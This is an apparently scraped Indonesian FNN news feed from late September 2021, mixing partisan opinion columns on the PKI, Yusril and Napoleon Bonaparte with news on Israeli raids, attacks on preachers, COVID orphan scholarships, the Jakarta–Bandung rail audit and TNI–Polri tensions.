Adalah suatu keharusan dan kewajiban yang tidak perlu dipermasalahkan dan diperdebatkan lagi, titik! Oleh Sugengwaras TAHUN 1945 Indonesia Merdeka, 1948 di bawah komando dan kendali Stalin, Rusia, Muso memimpin pemberontakan di Madiun, 1955 Pemilu, PKI nomor urut ke 4, setelah PNI, Masyumi, dan NU. Tahun 1965 PKI di bawah komando kendali Mao Tze Tung, China dan Untung memimpin kudeta dan membunuh 6 Jendral TNI AD. Tahun 1965 PKI dibubarkan. Tahun 1998 -- sekarang Setelah dibubarkan, eks anggota PKI diasingkan. Adalah Mayjen Purn TNI Theo Safei, seorang Tokoh PDI Perjuangan, memberi kesempatan dan menampung para eks PKI. Sejak itulah mereka melakukan kegiatan- kegiatan terselubung dan terbuka, bak benalu yang nempel pada elemen-elemen pemerintah pusat hingga daerah, orpol dan organisasi kemasyarakatan lainnya. Bayangkan dan bandingkan, hasil yang diraih 1948 -- 1955 dengan periode reformasi 1998 -- sekarang (23 tahun). Kegiatan-kegiatan nyata seperti, aku bangga anak PKI, agar pemerintah minta maaf kepada PKI, merupakan bagian dari fakta kehidupan dan kebangkitan PKI. Namun ada sebagian kecil dari kita menganggap, ketakutan terhadap PKI dan berpikir PKI merupakan bahaya laten adalah pikiran sesat, bodoh, kolot, ketinggalan zaman, buntu dan buta terhadap perkembangan dan dinamika dunia, dll. Oleh karenanya perlu kita ingat kembali watak, karakter, tabiat dan cara-cara PKI, yang pandai menghilangkan jejak, membersihkan diri, mengalihkan kesalahan kepada orang lain, meminta ganti rugi kepada orang lain, berbohong, memfitnah, mengadu domba dan sering membuat gaduh. Pancasila, secara formal dikumandangkan 18 Agustus 1945, sesungguhnya merupakan wujud karakter perjuangan sebelum kemerdekaan NKRI, sehingga dijadikan dasar / landasan dan pandangan hidup bangsa Indonesia. Kudeta 1965 adalah ujian sekaligus bukti kesaktian Pancasila sebagai pemersatu bangsa di tengah perbedaan perbedaan yang ada. Di sinilah hakiki yang sebenar-benarnya, bahwa Pancasila adalah alat pemersatu sekaligus penyelamat bangsa dan NKRI, yang harus terus kita perjuangkan, bela, jaga dan pertahankan kelestariannya. Kemerdekaan NKRI harus kita peringati setiap 17 Agustus untuk mengenang dan mengingat kembali pengorbanan dan perjuangan panjang yang melelahkan untuk mencapai cita-cita bangsa. Begitu juga setiap tanggal 1 0ktober kita peringati Hari Kesaktian Pancasila, untuk mengenang dan mengingat kembali perjuangan dan pengorbanan, sekaligus kesaktian Pancasila dalam menghadapi ancaman / bahaya terhadap kedaulatan NKRI. Maka penayangan nobar (nonton bareng) terhadap film G 30 S PKI sudah tidak perlu dipermasalahkan dan diperdebatkan lagi, karena esensi apa yang tersurat dan tersirat di dalamnya merupakan kesatuan yang utuh yang tidak bisa dipisah-pisahkan antara kewaspadaan kesigapan, keberanian, perjuangan dan pengorbanan bangsa Indonesia dengan urgen dan fundamentalnya Pancasila bagi bangsa Indonesia. Di sini gambaran peristiwa bangsa dan negara yang menunjukkan kesaktian Pancasila tidak perlu ditutup tutupi, disembunyikan apa lagi diputarbalikkan. Justru generasi penerus selayaknya bahkan seharusnya tahu perjalanan panjang sejarah bangsa dan negaranya sendiri. Dengan harapan, kita tidak hanya bersyukur atas kemenangan dan kesaktian Pancasila saat itu, tapi lebih utama berpikir dan bertindak agar kejadian tidak berulang dimasa mendatang dengan senantiasa hidup kompak bersatu, damai, tentram dan bersemangat untuk lebih baik dan lebih maju, yang dilandasi Pancasila dan UUD '45 dalam bingkai Bhineka Tunggal Ika. * Purnawirawan TNI AD.

Pasukan Israel Bunuh 4 Warga Palestina

Ramallah, FNN - Pasukan Israel pada Minggu (26/9) membunuh sedikitnya empat warga Palestina saat melakukan penggeledahan di Tepi Barat yang diduduki, kata Kementerian Kesehatan Palestina. Sementara itu, Perdana Menteri Israel Naftali Bennett melalui pernyataan mengatakan bahwa pasukan Israel telah meningkatkan operasi terhadap "teroris-teroris Hamas yang akan segera melancarkan serangan teroris". Bennett tidak menyebut soal korban. Juru bicara militer Israel juga belum berkomentar soal penggerebekan itu. Kementerian Kesehatan Otoritas Palestina mengatakan ada tiga warga Palestina yang terbunuh di Desa Biddu, Tepi Barat, di utara Yerusalem. Kementerian tersebut mengatakan satu warga Palestina lainnya terbunuh di Burqin, desa dekat kota Palestina, Jenin. Laporan yang beredar di radio-radio utama dan situs berita Israel menyebutkan bahwa sedikitnya empat orang militan tewas dalam penggerebekan di beberapa lokasi di Tepi Barat dalam upaya menangkap para anggota Hamas. Pejabat-pejabat Israel telah sekian lama menyatakan kekhawatiran bahwa Hamas, yang mengendalikan Jalur Gaza, berniat membangun kekuatan di Tepi Barat serta menantang saingannya yang didukung negara-negara Barat, Otoritas Palestina. (ant, sws)

DPR RI: Penyerangan Terhadap Ulama Tidak Boleh Diremehkan

Jakarta, FNN - Anggota DPR RI Habib Aboe Bakar Alhabsyi menegaskan tindakan penyerangan kepada para ustad beberapa waktu terakhir tidak boleh diremehkan. "Perlunya langkah preventif yang dilakukan untuk mengantisipasi jangan sampai terulang kembali," kata Aboe Bakar dalam keterangan tertulis di Jakarta, Minggu. Penegasan itu juga disampaikan Aboe Bakar dalam sosialisasi empat pilar MPR RI di Kabupaten Banjar, Kalimantan Selatan. Anggota Komisi III DPR itu menjelaskan sosialisasi empat diharapkan dapat meningkatkan toleransi, rasa saling menghormati atas kegiatan keagamaan yang dilaksanakan di tengah masyarakat. "Ini menjadi salah satu upaya preventif yang cukup bagus," ujarnya. Selain itu kata Aboe Bakar, upaya preventif lain yang bisa dilakukan dengan pengamanan oleh penyelenggara kegiatan. Kata dia, ketika menyelenggarakan kegiatan, panitia harus menyiapkan pola pengamanan untuk para ustad yang memberikan ceramah atau pengajian. "Ini perlu menjadi bagian dari SOP penyelenggaraan kegiatan keagamaan yang menghadirkan ustad, kyai, tuan guru atau tokoh agama lainnya," jelas Ketua Mahkamah Kehormatan Dewan DPR RI tersebut. Selain itu, setiap kegiatan yang cukup besar Habib Aboe menyarankan agar panitia berkoordinasi dengan aparat kepolisian setempat. Diharapkan aparat keamanan dapat membantu menjaga keamanan saat kegiatan dilaksanakan. "Ini adalah salah satu upaya untuk menghindari kejadian penyerangan yang tidak diinginkan," kata Aboe Bakar menegaskan. Aboe Bakar mencontohkan penyerangan kepada ustad terjadi tanggal 21 September di Mustikajaya, Bekasi. Sehari sebelumnya Ustad Chaniago yang sedang memberikan ceramah di Masjid juga diserang. Dua hari sebelum itu Ustad Marwan, menjadi korban penembakan di depan rumahnya yang terletak di kecamatan Pinang, Kota Tangerang. "Tentu itu semua tidak boleh diremehkan, kita harus memberikan perhatian yang serius," kata Aboe Bakar mengingatkan. (ant, sws)

Kontroversi Yusril

By M Rizal Fadillah YUSRIL Ihza Mahendra dikenal sebagai pakar hukum tata negara. Pernah menjabat Menteri Hukum dan HAM, Mensesneg era SBY dan hingga kini masih Ketua Umum DPP Partai Bulan Bintang. Yusril ramai disorot sewaktu menjadi pengacara pasangan Jokowi-Ma'ruf Amin saat Pilpres 2019. Kini ia disorot kembali karena menjadi kuasa hukum Moeldoko dalam uji materi AD/ART Partai Demokrat ke Mahkamah Agung. Terjadi kontroversi dalam makna pro dan kontra. Kontroversi itu berkisar pada tiga hal, yaitu : Pertama, dalam status sebagai Ketua Umum PBB Yusril masuk ke persoalan sengketa partai lain yaitu Partai Demokrat yang berkaitan dengan usaha pendongkelan Ketua Umum Partai Demokrat yang sah. Usaha pendongkelan mana telah mencoreng wajah demokrasi. Kedua, yang dibela atau klien Yusril adalah "orang Istana" Kepala KSP Moeldoko yang semua rakyat Indonesia tahu telah melakukan upaya kudeta kasar terhadap kepemimpinan Partai Demokrat melalui Kongres Luar Biasa Deli Serdang yang pendaftarannya ternyata ditolak oleh Kemenhukham. Ketiga, yang diuji materi bukan peraturan perundang-undangan tetapi AD/ART Partai. Ruang pengujian yang semestinya ada pada lingkup internal partai sendiri. Mahkamah Agung tidak berwenang mengintervensi aturan yang dibuat oleh partai politik. Jika bisa, konflik internal akan selalu dibawa ke Mahkamah Agung bukan Mahkamah Partai. Kalau begitu kacau balau hukum namanya. Yusril Ihza Mahendra mungkin menganggap ini sebagai langkah terobosan. Tetapi semua terobosan mesti berdasar hukum bukan mengacak-acak hukum atau berbasis non hukum termasuk tekanan dan lobi politik. Moeldoko adalah bagian dari penguasa politik yang diduga akan terus melakukan segala cara untuk sukses misi. Yusril Ihza Mahendra bisa saja berdalih bahwa hal ini adalah pembelajaran demokrasi atau sekedar menjalankan profesi, akan tetapi pembelaan pada Moeldoko dalam kasus kudeta Partai adalah perilaku politik dan hukum yang tidak simpatik dan dipastikan rentan kritik. Masyarakat dapat menilai hal ini justru bentuk dari kekacauan profesi dan penunggangan hukum oleh kekuasaan politik. Tidak tertutup kemungkinan juga uang. Tak ada yang bisa memaksa Yusril Ihza Mahendra untuk mundur. Motif kuatnya adalah privacy nya. Warga masyarakat hanya bisa menilai atau mengkritisi bahwa kini di negeri ini telah terjadi kemerosotan moral dalam sikap politik. Tidak mampu untuk menjaga marwah dan kemuliaan diri. Pilihan langkah selalu berisiko dan Yusril telah memilih langkah. Kritik atasnya harus diterima dengan lapang hati. Selamat berkontroversi dan saling menyalip di bahu jalan demokrasi. *) Pemerhati Politik dan Kebangsaan

Anies Baswedan Serahkan Beasiswa Anak Yatim Piatu Akibat Corona

Jakarta, FNN - Gubernur DKI Jakarta, Anies Baswedan menyerahkan beasiswa kepada 45 anak yatim piatu karena orang tuanya meninggal setelah terpapar Covid-19. Masing-masing mendapatkan Rp 3 juta. "Kami mengapresiasi seluruh pihak dari mulai karang taruna, organisasi kemasyarakatan, BUMD, swasta dan masih banyak lagi sehingga bisa terkumpul inisiatif beasiswa ini," kata Anies dalam keterangan resmi, saat menyerahkan bantuan tersebut di Cilincing, Jakarta Utara, Ahad, 26 September 2021. Anies mengajak seluruh pihak supaya lebih banyak lagi terlibat dalam menangani dampak Covid-19. Salah satu diantaranya, memperhatikan anak-anak yang orang tuanya meninggal dunia akibat pandemi. "Kita semua menyadari pandemi di satu sisi membuat mereka yang terpapar sembuh dan memiliki imunitas. Akan tetapi, ada juga yang wafat menyisakan kepada kita untuk berpahala," kata Anies, sebagaimana dikutip dari Antara. Anies juga mengajak seluruh anak yatim piatu mendoakan orang tua mereka. Ia sekaligus menitipkan pesan supaya tidak menyerah, tetap semangat dan siap menghadapi masa depan dengan berbekal belajar dan bekerja keras. Diharapkan, beasiswa tersebut dapat dimanfaatkan menunjang kegiatan belajar anak-anak yatim piatu itu. Anies tidak merinci, berapa lama beasiswa tersebut diberikan pada masing-masing anak yatim piatu itu. "Buat adik-adik semua, rajinlah belajar, kerja keras dan ingat bahwa orang tua yang kemarin wafat adalah seorang sahid dan sahida. Doakan mereka karena hanya doa anak saleh yang akan mengalir kepada mereka," ucapnya. Sementara itu, hingga Ahad (26/9) jumlah meninggal dunia akibat Covid-19 di Jakarta mencapai 13.503 orang. Tingkat kematian akibat Covid di ibu kota mencapai 1,6 persen dengan angka kesembuhan mencapai 841.000 atau 98,2 persen. (MD).

Anggota DPR Minta Proyek Kereta Cepat Jakarta-Bandung Diaudit

Jakarta, FNN - Anggota Komisi VI DPR RI Herman Khaeron menginginkan adanya audit investigasi terkait proyek kereta cepat Jakarta-Bandung, terkait dengan adanya laporan pembengkakan biaya konstruksi (cost overrun) sebesar Rp4,1 triliun. Herman Khaeron dalam keterangan tertulis di Jakarta, Minggu, menyatakan bahwa hingga saat ini belum dilakukan pendalaman terkait penyebab pembengkakan biaya proyek kereta cepat tersebut. Untuk itu, ujar dia, perlu agar proyek tersebut segera diaudit oleh BPK RI dan Badan Pengawasan Keuangan dan Pembangunan (BPKP), sehingga usulan Penyertaan Modal Negara (PMN) yang akan diberikan memiliki landasan hukum yang kuat. "Kami belum memutuskan untuk memberikan Penyertaan Modal Negara melalui PT Kereta Api. Syarat utama adalah adanya hasil pemeriksaan BPK dan BPKP," katanya. Dengan syarat utama tersebut, lanjutnya, maka ke depannya juga agar dapat clear and clean serta memenuhi unsur Good Corporate Governance. Namun, Herman menilai proyek kereta cepat Jakarta-Bandung perlu tetap dilanjutkan meski target pembangunannya harus mundur. Untuk itu, ia mengutarakan harapannya agar proyek kereta cepat yang diproyeksikan dapat beroperasi pada 2023 itu ke depannya tidak membebani keuangan negara secara berkelanjutan. "Yang penting adalah proyek kereta cepat Jakarta-Bandung ini harus betul-betul memiliki nilai manfaat bagi masyarakat," katanya. Sebelumnya, Presiden Joko Widodo (Jokowi) mengatakan proses pengerjaan konstruksi kereta cepat Jakarta-Bandung telah mencapai 73 persen dan moda transportasi mutakhir itu akan menjalani uji coba pada akhir 2022. Jokowi mengharapkan proyek strategis itu dapat terintegrasi dengan moda transportasi lainnya seperti kereta cepat ringan (Light Rapid Train/LRT) dan Moda Raya Terpadu (MRT) di DKI Jakarta agar menciptakan efisiensi waktu dan jarak tempuh untuk meningkatkan daya saing kegiatan ekonomi. Pembangunan kereta cepat Jakarta-Bandung juga diharapkan Presiden Jokowi untuk menyertakan transfer teknologi ke tenaga kerja domestik. (ant, sws)

Gaya Komunikasi Politik Airlangga Bisa Naikkan Elektabilitas

Jakarta, FNN - Head of Department of Politics and Social Change at Centre for Strategic and International Studies (CSIS), Arya Fernandes menilai gaya komunikasi politik yang dilakukan Ketua Umum DPP Partai Golkar Airlangga Hartarto bisa menaikkan elektabilitas. "Komunikasi politik Airlangga dalam dua hari terakhir dinilai strategis, menyusul posisi Airlangga merupakan pimpinan dari partai besar dengan kursi terbanyak kedua di DPR," kata dia melalui keterangan tertulis yang diterima di Jakarta, Ahad, 26 September 2021. Arya Fernandes mengatakan, situasi politik di Indonesia yang saat ini dinamis, komunikasi lintas partai harus menjadi agenda politik yang konsisten dilakukan oleh Airlangga. Sebelumnya, diketahui Ketua Umum Golkar Airlangga bertemu Gubernur Jawa Tengah Ganjar Pranowo di Klaten. Selepas itu, Menteri Koordinator Bidang Perekonomian tersebut juga berolahraga dengan Muhaimin Iskandar di Jakarta. "Semakin sering mereka bertemu, maka di tingkat pemilih, di bawah, juga semakin baik dan tidak terpolarisasi. Masyarakat melihat mereka bisa berkomunikasi meski suatu saat juga berkompetisi," kata Arya, sebagaimana dikutip dari Antara. Situasi politik di Indonesia saat ini belum jelas menunjukkan siapa saja yang akan mendapatkan dukungan dari partai politik untuk maju dalam Pemilihan Presiden (Pilpres) 2024 mendatang. Oleh karena itu, komunikasi politik menjadi strategis untuk dilakukan. "Terutama komunikasi lintas partai," kata dia. Menurutnya, langkah Airlangga tersebut ditujukan untuk membaca kemungkinan-kemungkinan membentuk koalisi. Kedua, mencari chemistry atau kecocokan di antara tokoh-tokoh tersebut. Terakhir, untuk mencari kesamaan pandangan dan kebijakan. Golkar dalam agenda Pilpres 2024 diuntungkan karena memiliki sekitar 14 persen kursi di DPR. Artinya, partai berlambang pohon beringin tersebut hanya butuh sisa enam persen supaya bisa mencalonkan presiden. Dengan kata lain, kondisi itu membuat Golkar dan Airlangga sebagai partai dan figur yang menarik karena memiliki posisi tawar yang tinggi untuk bersaing di pesta lima tahunan tersebut. "Airlangga saya kira memiliki peluang supaya bisa maju dan bertemu banyak tokoh," kata dia. Dalam hitungan politik, sekarang waktunya sudah cukup dekat mulai membuat strategi dan program menuju 2024. Sehingga, wajar jika aktivitas politik dari tokoh seperti Airlangga mulai ditingkatkan. "Sekarang waktu yang ideal dan pas untuk melakukan mobilisasi politik, seperti yang dilakukan Airlangga. Semakin dini, calon itu melakukan sosialisasi politik ke masyarakat, akan semakin baik," ujarnya. Hal tu juga memberikan kesempatan bagi Menteri Koordinator Bidang Perekonomian 2019-2024 tersebut bertemu dengan banyak orang dan menjalin komunikasi politik. Bahkan, potensial terus meningkatkan elektabilitasnya melalui sosialisasi. Di Pilpres 2024, ia melihat faktor partai menjadi penting. Apalagi, tidak ada calon petahana karena Presiden Joko Widodo secara konstitusi tidak bisa dicalonkan karena sudah dua periode. (MD).

Pasukan Israel Bunuh Empat Warga Palestina

Ramallah, FNN - Pasukan Israel, pada Ahad (26/9) membunuh sedikitnya empat warga Palestina saat melakukan penggeledahan di Tepi Barat yang diduduki. Hal itu diungkapkan Kementerian Kesehatan Palestina, dalam keterangannya, Ahad, 26 September 2021. Dalam keterangannya, Kementerian Kesehatan Palestina mengatakan, ada tiga warga Palestina yang terbunuh di Desa Biddu, Tepi Barat, di utara Yerusalem. Sedangkan satu warga ditembak di Burqin, desa dekat kota Palestina, Jenin. Laporan yang beredar di radio-radio utama dan situs berita Israel menyebutkan, sedikitnya empat orang militan tewas dalam penggerebekan di beberapa lokasi di Tepi Barat dalam upaya menangkap para anggota Hamas. Pejabat-pejabat Israel telah lama menyatakan kekhawatiran Hamas yang mengendalikan Jalur Gaza, berniat membangun kekuatan di Tepi Barat serta menantang saingannya yang didukung negara-negara Barat, Otoritas Palestina. Secara terpisah, Perdana Menteri Israel Naftali Bennett mengatakan, pasukan Israel telah meningkatkan operasi terhadap "teroris-teroris Hamas yang akan segera melancarkan serangan teroris". Bennett tidak menyebut soal korban. Juru bicara militer Israel juga belum berkomentar soal penggerebekan itu. (MD).

Graffiti Komunikasi Model Brigjen Junior Tumilaar

Jakarta, FNN - Pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Selamat Ginting mengungkapkan, surat terbuka dari Brigadir Jenderal TNI Junior Tumilaar kepada Kepala Polri Jenderal Polisi Listyo Sigit Prabowo seperti gaya anak muda mengirimkan pesan melalui graffiti. Graffiti merupakan suatu budaya populer yang semakin berkembang dan menjadi suatu budaya yang digemari kaum muda di perkotaan. “Sebagai perwira tinggi, Junior Tumilaar tidak mungkin membuat coretan di tembok sebagai bentuk protes. Graffiti yang dilakukannya dalam bentuk surat terbuka, sehingga publik mengetahui pesan protes yang disampaikannya viral,” kata Selamat Ginting di Jakarta, Ahad (26/9). Kandidat doktor ilmu politik dari Unas itu menjelaskan, dalam sejarahnya graffiti digunakan sebagai bentuk protes, propaganda maupun sebagai media eksistensi. Bahkan kini sebagai budaya populer yang berkembang bersamaan dengan musik, gaya hidup dan seni rupa. Perilaku pembuat graffiti, tidak selalu negatif, tergantung motif dan pesan yang dilakukannya. “Para pejuang kemerdekaan Indonesia dahulu juga sudah membuat graffiti, seperti mencoret-coret di tembok serta gerbong kereta api agar Belanda pergi meninggalkan Indonesia. Juga pesan mengobarkan semangat kemerdekaan,” ujar dosen di Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas itu. Jadi, lanjut Ginting, graffiti adalah media komunikasi yang ditulis dengan lambang dan simbol komunikasi tertentu. Memiliki pesan terhadap khalayak, dan kemudian menunjukan eksistensi identitas pembuat graffiti tersebut. Identitas graffiti dengan surat terbuka, itulah model yang dilakukan Brigjen Junior Tumilaar, Inspektur Kodam XIII Merdeka di Manado, Sulawesi Utara. “Menunjukkan eksistensi Junior Tumilaar sebagai tentara yang berani memprotes tindakan oknum kepolisian yang tidak pas. Tindakan yang dilakukan oknum Brimob dan satuan reserse yang hendak memeriksa aparat babinsa (bintara pembina desa),” kata magister ilmu komunikasi politik itu. Simpati Sontak, lanjut dia, tindakan berani yang dilakukan abituren (lulusan) Akademi Militer (Akmil) 1988-A tersebut, mendapatkan simpati dari masyarakat. Reaksi positif dari Panglima TNI Marsekal TNI Hadi Tjahjanto serta Panglima Kodam Merdeka Mayjen TNI WWF Mamahit yang menanyakan masalah tersebut kepada Junior Tumilaar sebagai orang nomor tiga di Kodam Merdeka. Tindakan Panglima TNI dan Pangdam Merdeka sebagai atasan Junior Tumilar juga mendapatkan reaksi positif dari publik. Kedua pejabat tersebut memberikan semangat kepada Junior Tumilaar agar menjelaskan secara rinci kepada Pusat Polisi Militer Angkatan Darat di Jakarta. Buntutnya, Propam (Profesi dan Pengamanan) Polda Sulut memeriksa penyidik Polresta Manado yang membuat surat pemanggilan kepada Babinsa Kodam Merdeka, tanpa melakukan koordinasi di antara Polda dan Kodam. Menurut Ginting, Junior Tumilaar dari Korps Zeni itu juga sudah menjelaskan melalui telepon kepada Panglima TNI bahwa ada babinsa yang dipanggil oleh kepolisian, namun tidak disertai tanda pangkatnya. Tidak meminta izin kepada atasannya di Kodam. Sebagai Inspektur Kodam, ia merasa ada yang keliru dan tidak bisa didiamkan, karena menyangkut organisasi militer dan kepolisian. “Padahal pemanggilan itu sebuah kekeliruan, dengan bahasa lugasnya tindakan di luar kewenangan. Pangdam mengetahui tindakan yang dilakukan Brigjen Junior Tumilaar. Jadi, Kodam tidak menyalahkan tindakan Junior yang berani tersebut. Justru mendukungnya.” Konflik Tersembunyi Dikemukakan, penyampaian surat terbuka yang dilakukan Brigjen Junior Tumilaar kepada Kepala Polri memang tidak lazim. Namun hal itu dia lakukan, karena ada sumbatan komunikasi antara Kodam XIII Merdeka dengan Polda Sulut. Sebab sebelumnya Junior Tumilaar sudah menyampaikannya dalam forum pimpinan daerah. “Jadi, graffiti model Junior Tumilaar menunjukkan ada konflik tersembunyi di antara organisasi TNI dan Polri. Ia berani mengambil risiko agar masalah ini bisa segera diselesaikan,” kata Selamat Ginting. Konflik dapat terjadi, lanjut Ginting, karena setiap individu atau unsur yang terdapat di dalam organisasi secara langsung maupun tidak langsung memegang teguh pedoman dan prinsip di dalam organisasi tersebut. Brigjen Junior Tumilaar merasa memegang prinsip sebagai seorang tentara profesional. Ia merasa menjalankan visi dan misi yang digariskan organisasinya. Pengamat yang malang melintang menjadi wartawan masalah pertahanan dan keamanan itu menjelaskan, konflik di dalam organisasi, dapat ditentukan oleh persepsi individu maupun kelompok. Jika mereka tidak menyadari telah terjadi konflik di dalam organisasi, maka secara umum konflik tersebut dianggap tidak ada. Sebaliknya, jika mereka mempersepsikan bahwa di dalam organisasi telah terjadi konflik, maka konflik tersebut menjadi suatu kenyataan. Dikemukakan, konflik merupakan suatu keniscayaan. Kondisi perilaku yang tidak tersembunyi bahkan tidak bisa disembunyikan. Sebab, satu pihak ingin memenangkan kepentingannya di atas kepentingan pihak lain. Sehingga rivalitas di antara dua organisasi itu tidak bisa dihindari. Diakuinya, di dalam organisasi mana pun, kerap terjadi konflik. Baik internal maupun eksternal. Konflik yang terjadi kerap, karena permasalahan sepele. Namun hal yang remeh temeh itu justru dapat memicu konflik yang lebih besar. “Jadi, diperlukan manajemen konflik yang harus dilakukan di dalam organisasi, baik militer maupun kepolisian,” kata mantan wartawan senior Republika itu. Kebijakan dan metode komunikasi yang diambil pimpinan kedua organisasi bersenjata itu, lanjutnya, akan sangat memengaruhi para prajurit di bawahnya. Ia mengharapkan, sinergitas TNI dan Polsi bukan hanya sebatas di atas kertas saja. Sebab dalam aplikasinya, sinergitas itu hanya terjadi di tingkat elite kedua organisasi tersebut. “Dibutuhkan orang yang berani seperti Junior Tumilaar. Termasuk berani mengingatkan perusahaan yang diduga melakukan pelanggaran hukum dalam kasus-kasus tanah dan sebagainya. TNI adalah tentara rakyat, dia harus manunggal dengan rakyat. Bukan membiarkan rakyat tak berdaya melawan kesewenang-wenangan,” pungkas Ginting. (sws)

Napoleon Cocok Jadi Kapolri

Catatan Ilham Bintang SISI lain Irjenpol Napoleon Bonaparte diungkap oleh aktivis prodemokrasi, DR Syahganda Nainggolan lewat Channel YouTube Realita TV, Selasa (21/9/2021) lalu. "Sepuluh bulan saya bersama Napolen di tahanan Bareskrim Polri. Kesimpulan saya, job yang cocok buat dia adalah Kapolri," kata Syahganda yang diwawancarai oleh Rahma Sarita di Channel YouTube Realita TV. Wawancara Rahma dengan Syahganda terkait kasus penganiayaan yang dilakukan perwira tinggi Polri yang masih aktif itu terhadap M. Kece, tersangka kasus penista agama. Selain Syahganda, Rahma juga mewawancarai DR Ahmad Yani, Kuasa Hukum Napoleon. "Saya pertama sekali ingin meluruskan, Pak Napoleon belum terpidana, seperti ditulis secara keliru oleh banyak media," ucap Dr Ahmad Yani. Menurut Yani, berkas permohonan kasasi Napoleon Bonaparte masih diteliti Mahkamah Agung. Memang dia satu-satunya dari pihak terdakwa kasus Red Notice Joko Chandra yang masih melakukan perlawanan hukum. Ditonton Ratusan Ribu Viewers Menarik mengikuti perbincangan dalam program Realita TV di YouTube. Hingga hari keempat, Sabtu (24/9/2021) pagi wawancara itu sudah ditonton oleh 271.000 viewers. Jumlah komentarnya pun banyak, 4300 orang, mayoritas mendukung Napoleon menindak tersangka penista agama tersebut. (NB: video ada di bagian bawah postingan ini) "Masuknya pun hampir bareng di tahanan Bareskrim. Saya tanggal 13 Oktober ditangkap. Esoknya dimasukkan ke tahanan, di situlah pertama kali saya ketemu Pak Napoleon. Terakhir, sebelum saya keluar, kami malah bersebelahan kamar. Saya di kamar 25, dan dia kamar 26," ungkap Syahganda. Syahganda mengaku mengobservasi Napoleon Bonaparte. Sebagai ahli ilmu sosial dan ahli manusia Syahganda berkesimpulan Napoleon cocok untuk job Kapolri. "Kalau saja saya berkuasa atau saya punya teman yang punya kemampuan yang bisa saya akses, saya akan mengajukan Pak Napoleon sebagai Kapolri. Kenapa? Saya banyak mengenal dan berinteraksi dengan banyak jendral polisi, seperti Pak Makbul, Pak Nanan. Tapi saya belum pernah ketemu polisi secerdas Napoleon," tegas Syahganda. Menarik sekali berdiskusi sama dia, itu kesan Syahganda. Membahas masalah politik internasional, global politik, dan politik lokal. Napoleon tahu semua. Mereka sering berdebat. "Selama ini saya merasa, urusan berdebat saya sebelas dua belas lah sama Rocky Gerung. Tapi, ini ada orang namanya Napoleon Bonaparte yang ketemu di penjara, ternyata hebat. Ketika kami berdiskusi bertiga dengan aktivis Jumhur Hidayat, dia bisa ngimbangin kita. Buat saya itu luar biasa. Dia juga melakukan hal yang sama dengan Habib Rizieq. Habib Rizieq juga senang. Habib Rizieq pernah dia undang ke kamarnya diskusi malam-malam sampai jam dua malam. Waktu itu, saya terbangun kok ada suara ribut ribut di sebelah. Rupanya Habib Rizieq lagi berdebat dengan Napoleon. Ini luar biasa. Secara karakter yah karakternya luar biasa, kemudian rendah hati. Dia sama semua tahanan tidak membeda-bedakan, meski dia tidak mau terlibat dengan tahanan-tahanan yang merampok uang negara," papar Nainggolan. Kisah Maria, Penguasa Tahanan Syahganda menceritakan juga bagaimana Napoleon menjaga jarak dengan Maria Paulina, pembobol Bank BNI Rp 1,2 triliun. Padahal, dia yang tangkap Paulina di Siberia. Selingan cerita Syahganda tentang Maria Paulina, juga menarik. Maria ketua RT di dalam penjara. Satu- satunya narapidana yang punya kamar sendiri. Maria menguasai satu sel sendiri. Sedangkan kebanyakan orang lain menghuni satu kamar untuk 20 orang. "Ya, memang itu juga masalah. Tapi saya tidak mau buka semua masalah yang ada di sana," tugas Nainggolan. Menurut Syahganda, fenomena di penjara itu unik. Tidak bisa untuk konsumsi publik. Kalau dilaporkan dan jadi penyelidikan Bareskrim atau KPK bisa bikin gaduh. Bagaimana satu orang bisa menguasai aset negara di dalam penjara. Itu menjelaskan mengapa banyak orang berebut mau dekat sama Maria. Siapa tahu bisa kecipratan uang-uang BNI itu. Tapi, di situlah salutnya Syahganda pada Napoleon, dia tidak mau cari-cari uang haram di penjara. Cari uang haram, maksudnya? "Asal tahu saja, perputaran uang di penjara Bareskrim mencapai 500 juta sampai satu miliar satu bulan. Ya, itu cerita sisi gelapnya yah," tambah Syahganda yang juga tercatat sebagai pendiri KAMI. Bagaimana soal pemukulan M Kece? "Sebenarnya, itu hal biasa di dalam penjara. Kasus pelaku penghina Natalius Pigai yang bilang gorila, juga hampir mati di dalam. Ada orang Nigeria kulit hitam yang merasa ikut terhina. Jadi, jelas saja kalau kasus M. Kece yang menghina Rasulullah, orang Islam di dalam penjara pasti marah sekali. Termasuk orang Islam yang biasa terlibat dalam kriminalitas sekalipun. Orang-orang itu kalau disinggung Nabinya pasti marahlah. Kasus kayak gitu itu banyak, tapi tidak pernah dilaporkan. Tidak dilaporkan seperti kasus pemukulan Napoleon terhadap M Kece. Heran juga saya," ungkap Nainggolan. Syahganda mengaku tahu banyak kasus di tahanan Bareskrim. Mulai perkelahian, pemukulan, minum, orang berantem. Tapi tidak pernah menjadi laporan seperti sekarang kasus Napoleon memukul M Kece. Syahganda kembali tak bisa menyembunyikan keheranannya ketika bercerita itu. Observasi Napoleon Napoleon menarik pertama sekali dari segi charming-nya, kata Syahganda. Orangnya gagah. Dia memang keturunan Belanda. Bapaknya angkatan laut. "Dari segi karakter dia kuat. Yang saya mau ceritakan pengalaman 10 bulan bersama dia. Saya ini peneliti dan saya mengobservasi dia secara serius. Saya lihat orang ini pantas jadi Kapolri. Kecuali ada bantahan lain dari kawan-kawan dia. Orang itu mengerti ketika saya berbicara bagaimana cara membuat polisi Indonesia tidak menjadi hirarki kekuasaan, tidak terlibat dalam politik praktis, misalnya. Dia bisa menjelaskan. Bareskrim, kata dia, harusnya memang di bawah Kehakiman, seperti di Amerika. Bagaimana kepolisian yang baik di masa depan, dia usul diserahkan saja ke Polda. Tidak perlu lagi ada jabatan di Bareskrim, di atasnya Kapolda. Diajak dialog reformasi kepolisian dan lain-lain dia jago sekali," urainya Nainggolan. Napoleon salah satu pendiri Densus 88. Tahu banyak mengenai orang yang risih dengan Densus 88 karena dianggap sensitif terhadap isu-isu radikalisme Islam. "Nah, saya bisa berdialog dengan dia. Napoleon pun menjelaskan mana yang sebenarnya yang dimaksud dalam ruang lingkup fundamentalisme dan ekstrimis Islam. Dia tidak pernah merasa Habib Rizieq sebagai bagian dari fundamentalisme dan ekstrimisme. Dia dulu yang menangkap gembong teroris Dr Ashari. Napoleon tahu membedakan mana yang Islam yang berbahaya tapi sebenarnya itu biasa aja. Kalau yang namanya Habib Rizieq, menurut dia, itu bukan ektrimisme dan fundamentalisme. Rizieq dia bilang hanya Islam dengan kekerasan. Tapi itu dulu. Nah, kalau bisa kekerasannya dinetralisir, sebenarnya itulah 